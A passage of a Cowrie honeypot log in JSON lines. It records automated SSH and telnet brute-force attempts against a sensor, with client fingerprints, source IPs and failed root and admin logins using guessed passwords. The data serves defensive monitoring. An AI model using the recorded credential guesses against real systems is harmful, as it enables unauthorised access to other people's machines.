256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:59.440349Z","src_ip":"43.153.70.247","session":"71d944a50e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root12345!","message":"login attempt [root/Root12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:59.743966Z","src_ip":"43.153.70.247","session":"71d944a50e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:00.815416Z","src_ip":"43.153.70.247","session":"71d944a50e8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52014,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4d89eae4743","protocol":"telnet","message":"New connection: 152.42.224.71:52014 (10.17.0.5:23) [session: e4d89eae4743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:06.286539Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52018,"dst_ip":"10.17.0.5","dst_port":23,"session":"3165211b7be6","protocol":"telnet","message":"New connection: 152.42.224.71:52018 (10.17.0.5:23) [session: 3165211b7be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:13.107034Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":44166,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d7e5c3ca655","protocol":"ssh","message":"New connection: 103.82.132.16:44166 (10.17.0.5:22) [session: 5d7e5c3ca655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:20.813922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:20.818191Z","src_ip":"103.82.132.16","session":"5d7e5c3ca655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:21.078053Z","src_ip":"103.82.132.16","session":"5d7e5c3ca655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"selena","message":"login attempt [root/selena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:21.858222Z","src_ip":"103.82.132.16","session":"5d7e5c3ca655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:23.121507Z","src_ip":"103.82.132.16","session":"5d7e5c3ca655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.76010060310364,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:36.937557Z","src_ip":"152.42.224.71","session":"fc4b16e0d3f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37838,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4905bffb4f0","protocol":"telnet","message":"New connection: 152.42.224.71:37838 (10.17.0.5:23) [session: f4905bffb4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:43.017963Z"}
{"eventid":"cowrie.session.closed","duration":34.54929065704346,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:47.656229Z","src_ip":"152.42.224.71","session":"3165211b7be6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":40268,"dst_ip":"10.17.0.5","dst_port":22,"session":"078ff72dcceb","protocol":"ssh","message":"New connection: 128.201.9.152:40268 (10.17.0.5:22) [session: 078ff72dcceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:56.535931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:56.541646Z","src_ip":"128.201.9.152","session":"078ff72dcceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:56.669322Z","src_ip":"128.201.9.152","session":"078ff72dcceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"draden","message":"login attempt [root/draden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:57.201365Z","src_ip":"128.201.9.152","session":"078ff72dcceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":45704,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f7103360e11","protocol":"ssh","message":"New connection: 43.135.177.217:45704 (10.17.0.5:22) [session: 3f7103360e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:58.201327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:58.206020Z","src_ip":"43.135.177.217","session":"3f7103360e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:58.274442Z","src_ip":"43.135.177.217","session":"3f7103360e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:58.332816Z","src_ip":"128.201.9.152","session":"078ff72dcceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"burhan123","message":"login attempt [root/burhan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:58.580356Z","src_ip":"43.135.177.217","session":"3f7103360e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:53:59.652771Z","src_ip":"43.135.177.217","session":"3f7103360e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":44520,"dst_ip":"159.203.135.109","dst_port":22,"session":"debe8ae5de12","protocol":"ssh","message":"New connection: 43.173.84.253:44520 (159.203.135.109:22) [session: debe8ae5de12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:06.847036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:06.851912Z","src_ip":"43.173.84.253","session":"debe8ae5de12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:06.924610Z","src_ip":"43.173.84.253","session":"debe8ae5de12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redhat","message":"login attempt [admin/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:07.230502Z","src_ip":"43.173.84.253","session":"debe8ae5de12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59490,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ada45d0caa0","protocol":"ssh","message":"New connection: 87.251.79.125:59490 (159.203.135.109:22) [session: 5ada45d0caa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:07.324724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:07.329571Z","src_ip":"87.251.79.125","session":"5ada45d0caa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:07.402889Z","src_ip":"87.251.79.125","session":"5ada45d0caa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"street","message":"login attempt [root/street] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:07.623001Z","src_ip":"87.251.79.125","session":"5ada45d0caa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:08.307350Z","src_ip":"43.173.84.253","session":"debe8ae5de12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:08.698215Z","src_ip":"87.251.79.125","session":"5ada45d0caa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":47260,"dst_ip":"10.17.0.5","dst_port":22,"session":"22157c64f497","protocol":"ssh","message":"New connection: 45.137.172.116:47260 (10.17.0.5:22) [session: 22157c64f497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:10.350655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:10.355851Z","src_ip":"45.137.172.116","session":"22157c64f497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:10.452432Z","src_ip":"45.137.172.116","session":"22157c64f497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123456","message":"login attempt [root/root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:10.868389Z","src_ip":"45.137.172.116","session":"22157c64f497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:11.969265Z","src_ip":"45.137.172.116","session":"22157c64f497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.65522861480713,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:15.803701Z","src_ip":"152.42.224.71","session":"e4f9697f3d86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50304,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c6fbbe2afa3","protocol":"telnet","message":"New connection: 152.42.224.71:50304 (10.17.0.5:23) [session: 5c6fbbe2afa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:24.538513Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":42298,"dst_ip":"10.17.0.5","dst_port":22,"session":"f035580a4169","protocol":"ssh","message":"New connection: 43.153.70.247:42298 (10.17.0.5:22) [session: f035580a4169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:24.681342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:24.687184Z","src_ip":"43.153.70.247","session":"f035580a4169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:24.755609Z","src_ip":"43.153.70.247","session":"f035580a4169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"startrek","message":"login attempt [root/startrek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:25.061409Z","src_ip":"43.153.70.247","session":"f035580a4169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:26.132367Z","src_ip":"43.153.70.247","session":"f035580a4169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.55043268203735,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:37.568283Z","src_ip":"152.42.224.71","session":"f4905bffb4f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.28883838653564,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:40.575258Z","src_ip":"152.42.224.71","session":"e4d89eae4743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.61647129058838,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:48.154750Z","src_ip":"152.42.224.71","session":"5c6fbbe2afa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":42690,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6b183d774ee","protocol":"ssh","message":"New connection: 103.27.238.116:42690 (10.17.0.5:22) [session: c6b183d774ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:50.296731Z"}
